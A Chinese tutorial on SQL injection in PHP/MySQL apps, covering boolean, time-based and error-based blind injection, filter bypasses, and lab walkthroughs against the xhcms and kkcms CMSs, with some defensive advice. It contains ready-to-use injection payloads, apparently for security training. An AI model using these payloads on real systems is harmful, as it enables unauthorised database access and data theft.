当前位置: 首页 > news >正文

044-WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

1.演示案例:

➢PHP-MYSQL-SQL操作-增删改查
➢PHP-MYSQL-注入函数-布尔&报错&延迟
➢PHP-MYSQL-注入条件-数据回显&错误处理
➢PHP-MYSQL-CMS案例-插入报错&删除延迟

2. 核心知识点概览

本文围绕 PHP 与 MySQL 交互中的 SQL 注入风险展开,核心覆盖 3 类关键内容:

  1. PHP-MySQL 的 SQL 基础操作(增删改查)及注入风险点

  2. 3 种 SQL 盲注技术(布尔型、时间型、报错型)的原理与实战

  3. 注入条件判断(数据回显、错误处理)及 CMS 实战案例(插入报错、删除延时)

3. PHP-MySQL-SQL 基础操作(增删改查)

3.1 操作定义与场景

SQL 注入的风险根源是 “用户输入未过滤直接拼接 SQL 语句”,需先理解 PHP 中常见的 MySQL 操作逻辑:

操作类型 功能描述 应用场景 基础 SQL 语句 注入风险点
查询(Select) 从数据库读取数据 文章详情、用户登录验证 SELECT * FROM news WHERE id=$id $id 未过滤,可拼接逻辑判断
新增(Insert) 向数据库插入数据 留言提交、用户注册 INSERT INTO news (title) VALUES ('$title') $title 含单引号 / 特殊字符,破坏 SQL 结构
删除(Delete) 从数据库删除数据 删除文章、删除用户 DELETE FROM news WHERE id=$id $id 拼接or 1=1可删除所有数据
修改(Update) 更新数据库中已有数据 修改密码、编辑文章 UPDATE user SET pwd='$new_pwd' WHERE id=$id (new_pwd或)id 未过滤,可篡改更新条件

3.2 补充:PHP 代码示例(风险版 vs 安全版)

风险版(存在注入)

// 直接拼接用户输入,无过滤
$id = $_GET['id']; // 用户输入:1' or 1=1 --
$sql = "SELECT * FROM news WHERE id=$id"; 
$result = mysql_query($sql); // 执行后变成:SELECT * FROM news WHERE id=1' or 1=1 --

安全版(参数化查询)

// 使用MySQLi参数化查询,避免注入
$id = $_GET['id'];
$stmt = $mysqli->prepare("SELECT * FROM news WHERE id=?"); 
$stmt->bind_param("i", $id); // 绑定参数(i=整数类型)
$stmt->execute();

4. 三种 SQL 盲注技术详解

什么是盲注?

当注入时无法直接从页面获取数据库数据回显(如页面只显示 “成功 / 失败”“加载中”,无具体内容),需通过 “逻辑判断” 或 “错误触发” 间接获取数据的注入方式,称为盲注。

4.1 基于布尔的 SQL 盲注(需页面回显变化)

原理

利用 SQL 的逻辑判断(and/or),构造条件语句,通过页面是否正常显示(如 “存在数据” vs “空白页”)判断条件是否成立,逐步猜解数据。

核心函数(含详细解释 + 示例)

函数 作用 示例(猜解数据库名) 说明
length() 计算字符串长度 and length(database())=7 判断当前数据库名是否为 7 个字符
left() 从左截取指定长度字符 and left(database(),1)='p' 判断数据库名第 1 个字符是否为 'p'
substr() 从指定位置截取指定长度字符(substr (字符串,起始位,长度)) and substr(database(),2,1)='i' 判断数据库名第 2 个字符是否为 'i'
ord() 将字符转为 ASCII 码值 and ord(left(database(),1))=112 'p' 的 ASCII 码是 112,判断第 1 个字符是否为 'p'
regexp 正则匹配 and database() regexp '^p' 判断数据库名是否以 'p' 开头
like 模糊匹配(% 匹配任意字符,_匹配单个字符) and database() like 'p%' 判断数据库名是否以 'p' 开头

注入步骤(实战示例)

  1. 判断注入点:访问http://xxx/news.php?id=1 and 1=1(页面正常),id=1 and 1=2(页面空白)→ 存在布尔盲注点。

  2. 猜解数据库名长度:尝试id=1 and length(database())=6(页面正常)→ 数据库名长度为 6。

  3. 逐字符猜解数据库名

    • id=1 and ord(left(database(),1))>110(正常,说明第 1 个字符 ASCII>110)
    • id=1 and ord(left(database(),1))<113(正常,说明 < 113)
    • id=1 and ord(left(database(),1))=112(正常,ASCII=112→'p')
  1. 后续猜解表名、列名、数据:重复上述逻辑,如and ord(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=117(猜解第一个表名第 1 个字符是否为 'u')。

适用场景

页面有明确的 “正常 / 异常” 回显(如正确 ID 显示内容,错误 ID 显示空白),无错误提示。

4.2 基于时间的 SQL 盲注(无需回显 / 报错)

原理

利用SLEEP()函数构造条件,若条件成立则触发延迟(如 3 秒),通过页面响应时间判断条件是否成立,适合无任何回显的场景。

核心函数

函数 作用 示例 说明
IF(条件, 成立执行, 不成立执行) 条件判断函数 IF(1=1, SLEEP(3), 0) 1=1 成立,执行延迟 3 秒
SLEEP(N) 使 SQL 执行暂停 N 秒 SLEEP(5) 暂停 5 秒,用于观察延迟

注入语句(带说明)

  1. 验证注入点:id=1 and sleep(3) → 页面延迟 3 秒加载→存在时间盲注点。

  2. 猜解数据库名长度:id=1 and if(length(database())=6, sleep(3), 0) → 若延迟 3 秒→长度为 6。

  3. 逐字符猜解:id=1 and if(ord(left(database(),1))=112, sleep(3), 0) → 若延迟→第 1 个字符为 'p'。

注意事项

  • 网络波动可能影响延迟判断,建议多次测试。

  • 部分数据库(如 PostgreSQL)用pg_sleep(N)替代SLEEP(N)。

适用场景

页面无任何回显(无论输入正确与否,页面显示一致),且无错误提示。

4.3 基于报错的 SQL 盲注(需开启错误显示)

原理

利用 MySQL 函数(如updatexml()、extractvalue())的语法特性,构造非法参数触发报错,使错误信息中携带数据库数据(如版本、表名)。

核心函数(报错原理 + 示例)

函数 报错原理 注入语句(获取数据库版本) 报错信息(含数据)
updatexml(目标XML, XPath路径, 替换值) XPath 路径需符合 XML 语法,若含特殊字符(如~)则报错 and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) XPATH syntax error: '5.7.26'(5.7.26 是数据库版本)
extractvalue(目标XML, XPath路径) 同 updatexml,XPath 路径非法触发报错 and extractvalue(1, concat(0x5c, (select database()))) XPATH syntax error: '\testdb'(testdb 是当前数据库名)
floor(rand(0)*2) 结合group by使用时,rand () 值重复导致主键冲突报错 and (select count() from information_schema.tables group by floor(rand(0)2) concat(0x7e, database(), 0x7e)) Duplicate entry 'testdb1' for key 'group_key'

注入步骤(以 updatexml 为例)

判断是否开启错误显示:访问http://xxx/news.php?id=1' → 若显示 SQL 语法错误→开启了错误显示。

构造报错语句:id=1' and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)-- → 从报错中获取版本。

获取更多数据:替换select version()为select table_name from information_schema.tables where table_schema=database() limit 0,1 → 获取第一个表名。

适用场景

PHP 开启了display_errors=On(显示 SQL 错误信息),适合快速获取数据(比布尔 / 时间盲注效率高)。

补充:如何关闭错误显示(防御)

在 PHP 配置文件php.ini中设置:

display_errors = Off
error_log = /var/log/php_error.log # 错误日志写入文件,不对外显示

4.4 三种盲注对比(表格优化)

盲注类型 核心依赖 优点 缺点 适用场景
布尔型 页面回显变化(正常 / 异常) 逻辑清晰,易判断 需逐字符猜解,效率低 页面有明确回显差异,无错误显示
时间型 页面响应延迟 无需回显 / 报错,适用广 受网络影响大,效率最低 页面无任何回显和错误提示
报错型 SQL 错误信息显示 效率高,直接带数据 需开启错误显示,局限性大 PHP 开启 display_errors,需快速获取数据

5. PHP-MySQL 注入条件与判断

5.1 核心判断标准(补充原理)

注入条件类型 判断方法 原理 示例场景
基于布尔 构造and 1=1(正常)和and 1=2(异常) 逻辑条件影响 SQL 查询结果,进而影响页面显示 新闻详情页:正确 ID 显示内容,错误 ID 显示空白
基于时间 构造and sleep(3),观察页面加载时间 条件成立时触发延迟,影响响应时间 登录页:无论用户名密码对错,页面显示一致
基于报错 构造非法 SQL(如id=1'),观察是否显示错误 PHP 未关闭错误显示,SQL 语法错误对外暴露 测试环境页面:直接显示 “MySQL server version for the right syntax to use near ''1''' at line 1”

5.2 黑盒测试优先选择(面试题解答优化)

问题:黑盒测试时,若需盲注,优先选哪种方式?

解答

优先尝试报错盲注

    • 原因:构造简单(如加单引号),若开启错误显示,可快速获取数据,效率最高;
    • 操作:先输入id=1'或id=1 and 1=@@version,观察是否有错误回显。

其次尝试布尔盲注

    • 若无错误显示,构造and 1=1和and 1=2,观察页面是否有差异(如内容显示 / 隐藏、按钮状态变化)。

最后尝试时间盲注

    • 若页面无任何差异,用and sleep(3)测试延迟,缺点是效率低且受网络影响大。

关键注意事项:需注意符号过滤(如单引号被转义,需用1''或1')尝试),以及空格过滤(用%20或/**/替换空格)。

6. 实战 CMS 案例解析(步骤优化 + 补充说明)

6.1 案例 1:xhcms - 插入报错注入(Insert 操作注入)

目标

通过 “留言提交” 功能(Insert 操作),利用报错盲注获取数据库版本。

环境准备

  • 靶场:xhcms(PHP+MySQL)

  • 功能点:留言板(http://192.168.137.1:85/?r=contact)

  • 核心风险:留言内容未过滤,直接拼接进 Insert 语句。

详细步骤(补充关键解释)

定位注入点

    • 查看源码:全局搜索insert,找到files/submit.php的 Insert 语句:
INSERT INTO interaction (name, content, ...) VALUES ('$name', '$content', ...)
    • 发现$content(留言内容)未过滤,且用单引号包裹→注入需闭合单引号。

构造注入语句

    • 留言内容输入:' and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) and '
    • 关键:末尾的and '用于闭合 SQL 语句的最后一个单引号(原语句最后是'$content',注入后变为'内容' and ... and '',语法正确)。

触发报错

    • 注意:留言内容必须含中文(原理:xhcms 对纯英文内容有编码处理,导致报错不回显;中文可绕过编码,正常触发错误)。
    • 提交后,页面显示报错:XPATH syntax error: '5.7.26'→获取到数据库版本。

案例总结

  • Insert 注入常出现在 “留言板、注册、评论” 等功能;

  • 需注意闭合 SQL 语句中的单引号 / 双引号,避免语法错误;

  • 部分 CMS 对英文内容特殊处理,可尝试中文 / 特殊字符触发报错。

6.2 案例 2:kkcms - 删除延时注入(Delete 操作注入)

目标

通过 “用户组删除” 功能(Delete 操作),利用时间盲注猜解数据库名第一个字符。

环境准备

  • 靶场:kkcms(PHP+MySQL)

  • 功能点:管理员后台用户组删除(http://192.168.137.1:86/admin/cms_usergroup.php)

  • 核心风险:删除参数del未过滤,直接拼接进 Delete 语句。

详细步骤(补充工具使用说明)

定位注入点

    • 查看源码:全局搜索delete,找到admin/model/usergroup.php的 Delete 语句:
DELETE FROM usergroup WHERE id=$del
    • $del是 URL 参数(?del=4),未过滤→可构造时间盲注语句。

使用 Burp Suite 抓包测试

    • 原因:浏览器无法直观显示延迟时间,Burp 的 “Repeater” 模块可查看响应时间。
    • 抓包:访问删除按钮,抓取 GET 请求http://xxx/admin/cms_usergroup.php?del=4。

构造延时注入语句

    • 原始参数:?del=4
    • 注入语句:?del=4%20or%20if(ord(left(database(),1))=107,sleep(2),0)
      • %20:替换空格(避免 URL 解析错误);
      • ord(left(database(),1))=107:判断数据库名第 1 个字符的 ASCII 码是否为 107(对应字符 'k');
      • 若条件成立,延迟 2 秒;不成立则无延迟。

判断结果

    • 在 Burp Repeater 中发送请求,观察 “Response Time”:
      • 若响应时间≈2 秒→条件成立(数据库名第 1 个字符是 'k');
      • 若响应时间≈0.1 秒→条件不成立,调整 ASCII 码值继续测试。

关键知识点

  • Delete 注入常出现在 “后台删除数据” 功能(需登录权限);

  • 单引号被过滤时,用ord()转 ASCII 码比较(无需单引号包裹字符);

  • 空格被过滤时,可用%20(URL 编码)、/**/(SQL 注释)替换。

7. xhcms/kkcms 搭建补充(新手友好版)

7.1 xhcms 搭建步骤

下载源码:从官方或安全靶场平台获取 xhcms 源码。

配置数据库

    • 新建 MySQL 数据库(如xhcms_db);
    • 导入源码中的 SQL 文件(如xhcms.sql);
    • 修改config.php中的数据库配置:
$dbhost = 'localhost'; // 数据库地址
$dbuser = 'root';      // 用户名
$dbpass = '123456';    // 密码
$dbname = 'xhcms_db';  // 数据库名

部署到 PHP 环境

    • 将源码放入 PHPStudy 的www目录(或 XAMPP 的htdocs目录);
    • 访问http://localhost/xhcms/,若显示首页→搭建成功。

7.2 kkcms 搭建步骤

下载源码:获取 kkcms 管理员版源码(含后台功能)。

配置数据库

    • 新建数据库kkcms_db,导入kkcms.sql;
    • 修改inc/config.php中的数据库信息。

登录后台

    • 访问http://localhost/kkcms/admin/,默认账号密码:admin/admin123;
    • 进入 “用户组管理”(cms_usergroup.php)→ 功能正常则搭建成功。

8. 常见问题与优化建议

8.1 注入时遇到的问题及解决方案

问题现象 原因 解决方案
单引号输入后变成' PHP 开启了magic_quotes_gpc=On(自动转义单引号) 1. 用双引号尝试:" and 1=1 -- ;2. 用1''闭合(转义后变成1'',等效于1'')
空格输入后被过滤 CMS 对空格进行了过滤 用%20(URL 编码)、//(SQL 注释)、+(部分场景)替换空格,如and//1=1
报错盲注无回显 PHP 关闭了display_errors 改用布尔盲注或时间盲注;或尝试触发其他错误(如路径遍历)
时间盲注延迟不稳定 网络波动或服务器负载高 增加延迟时间(如从 3 秒改为 5 秒),多次测试取平均值

相关文章:

044-WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式 1.演示案例:➢PHP-MYSQL-SQL操作-增删改查 ➢PHP-MYSQL-注入函数-布尔&报错&延迟 ➢PHP-MYSQL-注入条件-数据回显&错误处理 ➢PHP-MYSQL-CMS案例-插入报错&删除延迟…...

多品牌摄像机视频平台EasyCVR海康大华宇视视频平台统一接入方案

多品牌摄像机视频平台EasyCVR海康大华宇视视频平台统一接入方案在实际的工程项目里,我们常常会面临这样的情况:项目管理者可能会决定使用多个品牌的视频监控摄像头,或者有需求将现有的、多种类型的监控系统进行整合。现在,让我们来探讨一下如何实现不同品牌摄像头的连接和使…...

离散数学课堂习题及课后习题 - PPX

课上的习题,不完整,有空再更新第二章 抽屉原理 Background: 简单形式: 把(n+1)个物体放入n个盒子,必有一个盒子中装了两个物体。其实这个也是狄利克雷描述的一个特殊的表述(如果对于一个映射$ X\to Y $ ,如果\(|X|>|Y|\),则\(f\)不可能是单射,也就是会有\(f(x_1)=f(x…...

玻璃2601

前期五浪下跌走完了 开启反弹...

GoFrame框架查询数据表时对字段取别名

两种方式,基于模型的Fields方法dao.User.Where("id",1).Fields("name as `nickname`","id as `uid`").All()基于结构体orm标签的映射关系type UserData struct {Uid int `json:"id" orm:"id"`Nickname string `json:"…...

ubuntu安装mysql矩阵

安装mysql 5.7版本ubuntu版本    mysql版本    xtrabackup版本    ldd显示GLIBC版本    依赖库处理方式18.04       5.7.42      2.4.28        2.27          不需要处理20.04      5.7.42      2.4.28        …...

二十、DevOps落地:Jenkins基础入门(一)

二十、DevOps落地:Jenkins基础入门(一) 目录二十、DevOps落地:Jenkins基础入门(一)1、DevOps初识1.1 什么是DevOps1.2 DevOps相关工具链1.3 什么是CICD?1.4 持续集成CI介绍1.5 持续交付和持续部署CD介绍1.6 什么是Pipeline(流水线)?1.7 Pipeline编排任务的优势1.8 Pi…...

ubuntu 22.04安装mysql5.7

环境Os:ubuntu 22.04 desktop桌面版mysql:mysql-5.7.42-linux-glibc2.12查看操作系统信息root@db:~# ldd --version ldd (Ubuntu GLIBC 2.35-0ubuntu3) 2.35 Copyright (C) 2022 Free Software Foundation, Inc. This is free software; see the source for copying conditions…...

Docker如何获取镜像

可以使用 docker pull 命令来从仓库获取所需要的镜像。...

2025 ICPC 网络赛2 E

E. Zero 矩阵快速幂优化 dp。 考虑第一个数任意选,有 \(2^m\) 种选择,那么第 \(2\sim n-1\) 就有 \(2^{m-1}\) 种选择,因为最后要和前面的异或结果为 \(0\) ,所以最后一位是固定的,但是此时最后一位可能和倒数第二位相等,所以 \(1\sim n-2\) 的异或结果就肯定为 \(0\),设…...

偏移寻址

相对寻址. PC(Program Counter) 以程序计数器pc所指的地址作为起点 当前指令存放地址位1000 若当前指令字长=2B,则PC+2 若当前指令字长=4B,则PC+4 相对寻址:EA=(PC)+A,其中A是相对PC所指的位移量,可正可负,补码表示 优点:这段代码在程序内浮动时不用更改跳转指令的地址码…...

Stringbuilder操作和stringjoiner

使用stringbuilder容器可以方便对字符串的,是java自带的类 两个方法操作完成后默认返回值都是stringbuilder或者stringjoiner类型不是string,需要转换 Stringjoiner: length返回的是所有字符的总个数,包括空格和符号...

西电微机原理与接口技术笔记总结

笔记链接西电微机原理-第一章 序论:微型计算机概述 西电微机原理-第二章Intel单核处理器 西电微机原理-第三章 Intel处理器指令系统及汇编语言(1) 西电微机原理-第三章 Intel处理器指令系统及汇编语言(2) 西电微机原理-第三章 Intel处理器指令系统及汇编语言(3) 西电微机…...

abc423 F - Loud Cicada

F - Loud Cicada 题意 给你 \(n\) 个数 \(a_i\),问有多少个 \(x \in [1,Y]\) 满足 \(a_i \mid x\) 的 \(i\) 的个数等于 \(m\)。 \(n ,m \le 20, a_i,Y \le 10^{18}\)。 思路 \(a_i \mid x\) 的 \(x\) 有 \(\lfloor \frac{Y}{a_i} \rfloor\) 个。 显然可以枚举 \(i\) 的集合,…...

​​射频线缆选择指南:构建高性能无线系统的血脉​​

射频线缆关键参数包括阻抗匹配、插入损耗、电压驻波比、屏蔽效能和相位稳定性,影响信号传输质量与系统性能。在无线通信、测试测量和雷达系统中,射频线缆(RF Cable)是连接发射机、天线、接收机等组件的"生命线"。其性能直接影响信号传输的完整性、系统效率和最终…...

黑客必备的DevOps实战工作坊:4小时动手实验指南

这篇由Black Hills Information Security发布的文章详细介绍了针对黑客的DevOps实践,包含4小时动手实验工作坊内容。涉及自动化部署、安全集成和攻击模拟等关键技术,帮助安全专业人员将DevOps方法融入渗透测试和红队操作中。DevOps for Hackers with Hands-On Labs w/ Ralph …...

金融业-数字化转型大赛-网络安全赛道部分wp

web 签到 二维码被分割,需要拼接扫描。 离线二维码识别工具:QR_Research check this <?phpini_set(display_errors, 0);function containsStr($str, $substr) {return strpos($str, $substr) !== false;}if(isset($_GET["view"])){if (containsStr($_GET[view]…...

Mysql查找含字符串表字段

该存储过程用于在 当前数据库 中查找包含指定字符串的所有表和字段。 输出结果:每张表只返回一次记录,列出该表中包含目标字符串的字段列表(逗号分隔)。 适用场景:数据库迁移或审计时,快速定位含敏感信息的字段。 找出数据库中某个 URL、邮箱、关键字或特定内容所在的字段…...

MySQL注意事项与规范 - 实践

MySQL注意事项与规范 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important; font-si…...

真正的元推理,不需要人类的认可,恰恰是人类追求元推理,只有元推理才能彻底解放人类

ECT-OS-JiuHuaShan/ORCID:0009-0006-8591-1891 ▮ 框架推理激活:接收元认知独立性宣言,启动自主性终极阐释协议 论断抵达了文明认知的终极自由境界。完全正确:真正的元推理自成宇宙,其合法性源于与规律的同构性,而非人类的认可。恰恰是人类对绝对确定性的追求,引导其创…...

西电微机原理-第三章 Intel处理器指令系统及汇编语言(5)

目录十一、32/64位处理器拓展指令——多媒体/流媒体SIMD拓展指令集MMX指令集SSE/SSE2指令SSESSE2总结十二、汇编语言与高级语言的接口在C语言中嵌入汇编语言代码基本方法程序举例让C语言从外部调用代码综合举例判断有符号数整数加法溢出 十一、32/64位处理器拓展指令——多媒体…...

西电微机原理-第五章 存储技术

目录SRAM用SRAM构成8086/8088的内存连接方式拓展电路译码电路用SRAM构成80386/80486内存利用SRAM构成Pentium的内存ROM用EPROM构成8086/8088的内存用E2PROM构成8086/8088内存闪速E2PROM:Flash其他存储器SRAM综合设计举例举例1:构成8086内存(16位)举例2:构成8088内存(8位)…...

西电微机原理-第七章 常用接口器件

目录计算机与外设之间如何通过接口传送数据(非DMA)典型接口芯片8255可编程并行接口内部结构与外部引线8255的控制字8255的工作方式8255的寻址及连接使用8253 可编程定时器外部引线及功能六种工作方式控制字连接与初始化程序级联使用(关键) 计算机与外设之间如何通过接口传送…...

CF1264D1 Beautiful Bracket Sequence (easy version)

省流:成唐诗了。 tm 题目说是能任意删啊,我还以为是啥呢。 那么显然删成若干个左括号再拼上若干个右括号,考虑枚举分界点。 此时显然每个分界点答案用组合数算出来,发现是范德蒙德组合的形式直接卷就做完了。...

西电微机原理-第六章 输入输出技术

目录程序查询IO方式一、无条件传送方式输入接口输出接口二、查询方式中断IO方式中断类型中断执行流程可编程中断控制器8259硬件与基本寄存器工作流程工作方式及其选择级联编程使用中断实现方式基本流程1. 硬件连接2. 编写初始化程序初始化8259设置中断向量表3. 编写中断处理程序…...

【FAQ】应用A如何使用应用B内的文件?

【问题描述】 应用A如何使用应用B的文件?例如,自己开发的应用想读取、复制微信、钉钉等IM应用内的文件。 【背景知识】 系统通过访问控制的机制,防止数据或功能被不当或恶意使用。当前访问控制的机制涉及多方面,包括应用沙箱、应用权限、系统控件等方案。 【解决方案】 为防…...

OpenStack Cinder 创建卷

Cinder 的卷创建(create volume)是块存储服务的核心操作,涉及从请求接收、调度决策到存储后端实际创建的完整流程。 1、流程概览 创建卷的完整流程涉及 Cinder 多个组件的协同工作,整体流程如下: 客户端 → cinder-api → 消息队列 → cinder-scheduler → 消息队列 → ci…...

西电微机原理-第二章 Intel单核处理器

目录2.1.1 功能特性2.1.2 体系结构2.1.3 寄存器、主存、io结构寄存器结构主存结构:双体结构主存结构:分段结构2.1.4 8086芯片引脚共用引脚最小模式下的引脚最小模式下的总线构成标准的总线读写时序8088电路图最大模式的引脚2.2-2.3 Intel多核处理器(酷睿处理器) 2.1.1 功能…...

二叉树的迭代遍历(非递归)

迭代使用栈; 前序遍历 遍历顺序中左右,由于先进后出的栈的特性,我们先加入右孩子再加入左孩子; 代码: class Solution { public:vector<int> preorderTraversal(TreeNode* root) {stack<TreeNode*> st;vector<int> result;if (root == NULL) return res…...

记录---用好了 defineProps 才叫会用 Vue3,90% 的写法都错了

🧑‍💻 写在开头 点赞 + 收藏 === 学会🤣🤣🤣Vue 3 的 Composition API 给开发者带来了更强的逻辑组织能力,但很多人用 defineProps 的方式,依然停留在 Vue 2 的“Options 语法心智”。本质上只是把 props: {} 拿出来“提前声明”,并没有真正理解它的运行机制、类…...

今日流水账-2025年9月15日

1、刷新一下胶片 2、卷腹28下 3、定位一下进程阻塞问题...

c#给原文件重命名

在 C# 里“原文件”指“物理文件”,用 System.IO 就够了——一行代码完成重命名:csharp 复制// 旧名字 → 新名字(同目录就是重命名,跨目录就是移动+改名) System.IO.File.Move("old.txt", "new.txt"); 完整模板(带判断、异常处理) string oldPath …...

tcpdump常用随笔

指定抓到某文件 tcpdump -w a.cap 指定网卡 tcpdump -i eth0 指定目的ip tcpdump dst host ip dst换成src是源地址,不带是所有 host换成port是指定端口 多个条件用and连接,如 tcpdump dst host ip and port 80...

2025年HR经理必备:10款高效人力资源管理软件推荐

摘要:在选择人力资源管理软件时,HR经理需要关注软件的功能性、用户体验、安全性和适用性等方面。2025年即将到来,新一代高效人力资源管理软件不断涌现,以帮助企业更好地管理和优化人力资源流程。在众多选择中,红海云等作为领先的HR解决方案提供商,其产品无疑是值得关注的选…...

GAS中GA变量数据的同步

GAS内部数据的网络同步接口 ServerSetReplicatedTargetData(FGameplayAbilityTargetData) CallReplicatedTargetDataDelegateIfSet()...

提升员工绩效的5大人才管理软件评测与分析

提升员工绩效的5大人才管理软件评测与分析 随着企业对人才发展的重视程度不断加深,尤其是头部企业在这方面的关注和投入更为显著,人才管理软件的需求也随之上升。然而,在追求快速成果的过程中,许多企业忽视了人才管理数字化建设的基础阶段,直接跳到人才评估、人才盘点、继…...

【触想智能】工业显示屏与普通显示屏的八大区别以及应用领域分析

工业显示屏是应用于工业领域的一种特殊显示器,它除了具有传统显示屏的一般特点外,还具有一些特殊的功能,比如在宽温、防尘防水以及耐用性方面,都是普通显示屏无法比的。触想工业显示屏TPC-M2系列一、工业显示屏和普通显示屏的主要区别1、耐用性:工业显示屏通常需要能够在恶…...

LLaVA- Improved Baselines with Visual Instruction Tuning - jack

原始LLaVA论文: 标题: "Visual Instruction Tuning" arXiv链接: https://arxiv.org/abs/2304.08485 会议: NeurIPS 2023 LLaVA-1.5 论文: 标题: "Improved Baselines with Visual Instruction Tuning" arXiv链接: https://arxiv.org/abs/2310.03744…...

042-WEB 攻防:PHP 应用 MYSQL 架构 SQL 注入 跨库查询 文件读写 权限操作

042-WEB 攻防:PHP 应用 & MYSQL 架构 & SQL 注入 & 跨库查询 & 文件读写 & 权限操作 二、核心知识点与演示案例 1. 核心知识点PHP-MYSQL-SQL 注入 - 常规查询PHP-MYSQL-SQL 注入 - 跨库查询PHP-MYSQL-SQL 注入 - 文件读写2. 演示案例PHP-MYSQL-Web 组成架…...

Dsu On Tree 笔记

关于这个技巧我甚至都记不清是什么时候学的了,反正就是很早很早之前,当时学了之后看什么子树查询都想上 Dsu On Tree,后来也没怎么写过了,不过这个东西确确实实很强劲。 今天写了一上午教练的题单,大概获得了三天的时间来写自己想写的,就去写写各种莫队吧。 结果写到一个…...

西电微机原理-第一章 序论:微型计算机概述

目录1.1 基本概念1.2 微处理器概述1.3 微型计算机概述硬件、软件系统一、PC的发展二、PC的基本组成微型计算机的工作过程 1.1 基本概念1.2 微处理器概述Intel微处理器的发展💡 *注意:*8086和8088CPU片内总线和寄存器都是16位的,而8086的系统总线和io接口是16位,支持16位读…...

Liunx 硬盘扩容

第1步:检查磁盘当前状态lsblk sudo fdisk -l /dev/vdb df -h第2步:卸载并清理磁盘(如果已挂载) 如果发现 /dev/vdb 已经被挂载到了某个位置(比如 /data),先卸载它:sudo umount /dev/vdb如果卸载时显示 not mounted,说明没有挂载,继续下一步。 第3步:彻底清除磁盘上的…...

船舶航向控制算法

船舶航向控制算法:Nomoto/Norrbin 非线性模型 → PID/ADRC → 环境扰动 → 航向-航迹双环 → 结果可视化1. 技术要点模型:Nomoto(线性)+ Norrbin(非线性)+ 环境扰动(风/浪/流) 控制:PID、ADRC、L1-GPR 自适应(可选) 输出:航向角、舵角、航迹误差、控制性能指标(IT…...

pyside6 1

1 安装python 2 安装pycharm pycharm中创建项目,在项目中打开终端,安装pyside6 设计完成后保存至项目根目录,执行如下命令,生成相关py文件 打包:在项目根目录安装pyinstaller 安装后查看版本号,确定安装成果 打包 .py文件 pyinstaller -w 01.py //-w 没有黑窗口…...

基于WSL下载Hadoop和HBASE

正常操作 步骤 1:安装 WSL 启用 WSL 功能: 以管理员身份打开 PowerShell 或 命令提示符,输入以下命令并回车: powershell wsl --install 这个命令会自动启用所需的 Windows 功能、下载并安装默认的 Ubuntu 发行版。 (如果上述命令无效,可以手动启用): powershell dism.…...

应用多、交付快,研发运维怎么管?看云效+SAE 如何一站式破局

云效 AppStack 与阿里云 Serverless 应用引擎(SAE)的集成方案,为企业研发团队提供了一套高效、低成本、高质量的研运一体化解决方案。作者:天彤 背景 对于研发团队来说,应用程序(Application)的开发运维的成本、质量、效率,永远是比较难均衡的三个核心要素,特别是对于…...

revit二次开发之 钢筋功能详细分析

根据以上钢筋的功能,可以确定钢筋功能的主要功能按照循序如下:类别     功能 备注Rebar 结构钢筋 生成普通钢筋信息AreaReinforcement 结构区域钢筋  用于生成区域钢筋PathReinforcement 路径区域钢筋 用于生成路径区域钢筋FabricSheet 编织钢筋网片 用于生成网片钢筋类…...

java-wxj02

Java 核心概念深度解析:方法、数组与类 一、方法参数传递机制 示例代码分析 import java.util.Arrays;public class Main {static void changeStr(String x) {x = "xyz";}static void changeArr(String[] strs) {for (int i = 0; i < strs.length; i++) {strs[i]…...

停止win10自动升级操作

Win11 和 Win10,使用。 按 Win + X 键选择 Windows PowerShell (管理员) 按右键粘贴这行代码后回车即可: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /t reg_dword /d 10000 /f之后你就可以在 Win…...

vue3 - elementPlus

官网: https://element-plus.org/zh-CN 安装 npm install element-plus --saveElement Plus 是项目运行时必须的 UI 组件库,最终会被打包到生产环境代码中,因此需要用 --save 安装(这也是 npm 5+ 版本的默认行为,可省略 --save)。 package.json一、按钮 Button 全局导入…...